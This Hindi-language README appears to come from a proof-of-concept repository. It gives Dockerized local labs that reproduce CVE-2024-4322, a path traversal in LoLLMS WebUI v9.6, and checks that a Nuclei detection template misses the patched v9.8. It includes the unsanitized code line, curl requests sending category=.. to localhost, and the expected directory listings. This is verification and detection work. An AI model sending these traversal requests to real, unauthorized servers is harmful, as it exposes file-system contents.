
POC_CVE-2024-4322
यह रिपॉजिटरी CVE-2024-4322 को पुनरुत्पादित करने के लिए Dockerized स्थानीय प्रयोगशालाएं प्रदान करता है, जो LoLLMS WebUI v9.6 में एक पथ ट्रैवर्सल भेद्यता है, और यह सत्यापित करने के लिए कि संबद्ध Nuclei टेम्पलेट LoLLMS WebUI v9.8 से मेल नहीं खाता है।
इस प्रयोगशाला का उपयोग केवल स्थानीय, स्वामित्व वाले, या स्पष्ट रूप से अधिकृत लक्ष्यों के विरुद्ध करें।
LoLLMS WebUI v9.6 में /list_personalities एंडपॉइंट पथ ट्रैवर्सल के लिए संवेदनशील है। उपयोगकर्ता-नियंत्रित category पैरामीटर को बिना स्वच्छता के personalities_zoo_path में जोड़ा जाता है:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
category=.. भेजकर, अनुरोध इच्छित personalities निर्देशिका से बच सकता है और पैरेंट निर्देशिका की सामग्री को सूचीबद्ध कर सकता है।
अपेक्षित भेद्यता संकेत:
category= -> []
category=.. -> response contains "personalities_zoo"
ठीक किया गया v9.8 व्यवहार निर्देशिका सूचीबद्ध करने से पहले ट्रैवर्सल इनपुट को अस्वीकार करता है।
सभी आदेश इस README वाले निर्देशिका से चलाएं।
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
प्रतीक्षा करें:
Uvicorn running on http://0.0.0.0:9600
लॉग का अनुसरण रोकने के लिए Ctrl-C दबाएं। कंटेनर चलता रहता है।
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
अपेक्षित परिणाम:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
क्रम भिन्न हो सकता है। महत्वपूर्ण संकेत यह है कि ट्रैवर्सल प्रतिक्रिया नियंत्रण प्रतिक्रिया से भिन्न होती है और इसमें personalities_zoo होता है।
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
अपेक्षित परिणाम:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
प्रतीक्षा करें:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
अपेक्षित परिणाम:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
अपेक्षित परिणाम:
[INF] Scan completed ... 0 matches found.

इसके लिए Windows कंटेनर मोड में Docker Desktop की आवश्यकता है। नीचे दिए गए आदेशों को इस निर्देशिका से PowerShell में चलाएं।
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
प्रतीक्षा करें:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
अपेक्षित परिणाम:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
क्रम भिन्न हो सकता है। महत्वपूर्ण संकेत यह है कि ट्रैवर्सल प्रतिक्रिया नियंत्रण प्रतिक्रिया से भिन्न होती है और इसमें personalities_zoo होता है।
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
अपेक्षित परिणाम:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

इसके लिए Windows कंटेनर मोड में Docker Desktop की आवश्यकता है। नीचे दिए गए आदेशों को इस निर्देशिका से PowerShell में चलाएं।
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
प्रतीक्षा करें:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
अपेक्षित परिणाम:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
अपेक्षित परिणाम:
[INF] Scan completed ... 0 matches found.

Linux कंटेनर:
docker compose --profile patched down --rmi local
Windows कंटेनर:
docker compose --profile windows down
curl.jq.यदि jq Linux होस्ट पर उपलब्ध नहीं है, तो विश्लेषक कंटेनर का उपयोग करें:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
यदि Windows पर Nuclei स्थापित नहीं है, तो https://github.com/projectdiscovery/nuclei/releases से Windows रिलीज़ बाइनरी डाउनलोड करें, इसे अनज़िप करें, और निकाले गए निर्देशिका से सीधे nuclei.exe चलाएं।
Dockerfiles निर्माण के दौरान ऐतिहासिक इंस्टॉलरों को पैच करते हैं ताकि प्रयोगशाला आज पुनरुत्पादित की जा सके:
संवेदनशील प्रयोगशालाएं lollms-webui के v9.6 टैग को क्लोन करती हैं।
पैच की गई प्रयोगशालाएं lollms-webui के v9.8 टैग को क्लोन करती हैं।
lollms_core सबमॉड्यूल URL को https://github.com/ParisNeo/lollms_legacy.git में पुनः लिखा गया है क्योंकि पुराना स्रोत इतिहास वहां स्थानांतरित हो गया।
संस्करण पिनिंग अपस्ट्रीम Git मेटाडेटा के विरुद्ध जाँचा जाता है: v9.6 e2f2d313cd6ea3fe81dfc4496f985f5b650853b9 है, और v9.8 8a8e3a1c386321f641a014bf8f7029512ccad411 है।
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
संबंधित lollms_core सबमॉड्यूल कमिट v9.6 के लिए और v9.8 के लिए हैं, प्रत्येक टैग चेकआउट पर से जाँच की गई।
टूटा हुआ अपरिवर्तनीय है:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 और बाद के संस्करण फ़ाइलसिस्टम निर्देशिका सूचीबद्ध करने के तर्क तक पहुँचने से पहले category पथ को स्वच्छ या प्रतिबंधित करके समस्या का समाधान करते हैं। वास्तविक परिनियोजन के लिए, LoLLMS WebUI को संस्करण 9.8 या बाद में अपग्रेड करें।
| पर्यावरण | संस्करण | सेवा | होस्ट URL | अपेक्षित टेम्पलेट परिणाम |
|---|
| Linux संवेदनशील | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | match |
| Linux पैच की गई | v9.8 | linux-patched-server | http://127.0.0.1:9602 | no match |
| Windows संवेदनशील | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | match |
| Windows पैच की गई | v9.8 | windows-patched-server | http://127.0.0.1:9603 | no match |
cfb18f6f1091addf440347322441ab28005a2d3b6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49git ls-tree HEAD lollms_coreप्रत्येक प्रयोगशाला को पिन रखने के लिए auto_update और auto_sync_* विकल्प अक्षम किए गए हैं।
हेडलेस कॉन्फिग फाइलें इंजेक्ट की जाती हैं ताकि सर्वर बिना संकेतों के शुरू हो सके।
एंडपॉइंट सत्यापन के लिए आवश्यक नहीं होने वाली भारी निर्भरताओं को जहाँ संभव हो छोड़ दिया जाता है।
Windows इंस्टॉलरों को उनकी अस्थायी निर्देशिका बनाने और अप्रचलित पुनरावर्ती सबमॉड्यूल से बचने के लिए पैच किया गया है।